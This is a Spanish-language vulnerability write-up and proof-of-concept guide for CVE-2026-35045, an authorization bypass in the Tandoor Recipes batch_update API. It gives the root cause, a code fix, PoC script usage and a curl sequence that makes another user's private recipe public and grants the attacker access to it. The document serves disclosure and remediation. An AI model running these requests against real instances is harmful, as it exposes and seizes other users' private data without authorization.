
Prueba de concepto de exploit para CVE-2026-35045, una vulnerabilidad de autorización rota a nivel de objeto en Tandoor Recipes, que demuestra la modificación no autorizada de recetas a través del endpoint de API batch_update.
El endpoint PUT /api/recipe/batch_update/ en Tandoor Recipes v2.6.1 permite que cualquier usuario autenticado dentro de un Espacio modifique cualquier receta de ese Espacio, incluidas las recetas privadas propiedad de otros usuarios. Esto elude por completo las comprobaciones de autorización a nivel de objeto aplicadas en todos los endpoints estándar de recetas individuales.
La causa raíz es una brecha de comportamiento de Django REST Framework: las acciones de lista con detail=False nunca invocan has_object_permission(), solo has_permission(). El queryset filtra únicamente por space=request.space, sin comprobar created_by, private ni la lista shared. Un atacante puede exponer a la fuerza recetas privadas, auto-concederse acceso persistente, revocar permisos de otros usuarios y manipular metadatos, todo en una única llamada API que devuelve HTTP 200 OK con cuerpo vacío.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Omisión de Autorización Mediante Clave Controlada por el Usuario |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Versión Afectada | Tandoor Recipes ≤ 2.6.1 |
| Proveedor | TandoorRecipes/recipes |
detail=False Omite las Comprobaciones de Permisos a Nivel de ObjetoArchivo: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Sin comprobación de created_by ni private
)
En Django REST Framework, las acciones registradas con detail=False son acciones de lista. Nunca llaman a get_object(), lo que significa que check_object_permissions() y CustomRecipePermission.has_object_permission() nunca se invocan. Solo se ejecuta has_permission(), que verifica la pertenencia al Espacio, no la propiedad de la receta.
PUT /api/recipe/{id}/ sigue el flujo completo de permisos de DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ deniega el acceso si la receta es privada y no es propiedad del solicitante ni está compartida con él
El endpoint batch_update omite silenciosamente toda esta cadena.
RecipeBatchUpdateSerializer expone los siguientes campos, escribibles en cualquier receta del Espacio:
| Campo | Efecto |
|---|---|
private | Alternar la visibilidad de la receta |
shared_add / shared_remove / shared_set | Manipular la lista de control de acceso |
keywords_add / keywords_remove / keywords_set | Alterar los metadatos de la receta |
working_time / waiting_time | Modificar los datos de tiempo de la receta |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Atacante │ ─────────────────────────────────────→│ Servidor Tandoor│
│ (Usuario B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Miembro del │
│ Espacio) │
│ │
│ has_object_ │
│ permission() │
│ ✗ NUNCA SE │
│ LLAMA │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Sin comprobación de propiedad
│
▼
┌────────────────┐
│ Receta ID 2 │
│ (propiedad de A)│
│ private=false ← parcheada
│ shared=[2] ← auto-concedida
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Atacante (B) │
│ ahora tiene │
│ acceso total │
│ a la Receta ID 2│
└────────────────┘
requestspip install requests
# Forzar la exposición de una receta privada y auto-concederse acceso (por defecto)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Solo forzar exposición (establecer private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Solo auto-concesión (añadir a la lista shared, mantener private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Acción | Descripción |
|---|---|
expose | Establece private: false en la receta objetivo — fuerza la visibilidad para todos los miembros del Espacio |
self_grant | Añade el ID de usuario del atacante a shared_add — concede acceso persistente incluso si la receta permanece privada |
both | Ejecuta ambas acciones en una sola solicitud (por defecto) |
1. Pre-condición — La receta es inaccesible mediante el endpoint estándar
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: 404 (privada, no es propiedad del usuario)
2. Explotación — batch_update sin autorización
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Esperado: HTTP 200 OK — {}
3. Post-condición — La receta ahora es accesible
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: HTTP 200 con datos de la receta, private=false
4. Verificación mediante el listado de recetas
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Esperado: 2 <nombre_receta> False
| Área de Impacto | Descripción | Severidad |
|---|---|---|
| Exposición Forzada de Recetas | Establecer private: false hace que cualquier receta sea visible para todos los miembros del Espacio | Alta |
| Auto-Concesión No Autorizada | Añadir el propio ID de usuario mediante shared_add concede acceso persistente de lectura/escritura a cualquier receta | Alta |
| Revocación de Acceso | Usar shared_remove o shared_set para eliminar usuarios legítimos de la lista de compartidos de una receta | Alta |
| Manipulación de Metadatos | Modificar working_time, waiting_time y keywords en recetas propiedad de otros usuarios | Media |
Filtrar el queryset por created_by=request.user para restringir las operaciones batch a las recetas propias:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Corrección: restringir a recetas propias
)
Si los administradores del Espacio necesitan la capacidad de actualizar en batch cualquier receta, añadir una condición basada en roles:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Cualquier acción con detail=False que opere sobre objetos individuales debe aplicar manualmente la autorización a nivel de objeto. has_object_permission() de DRF nunca se llama para acciones de lista — esta responsabilidad recae completamente en el desarrollador.
Esta prueba de concepto se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido de esta herramienta.
Filipe Gaudard — Investigador de Seguridad Ofensiva | eWPT | eWPTx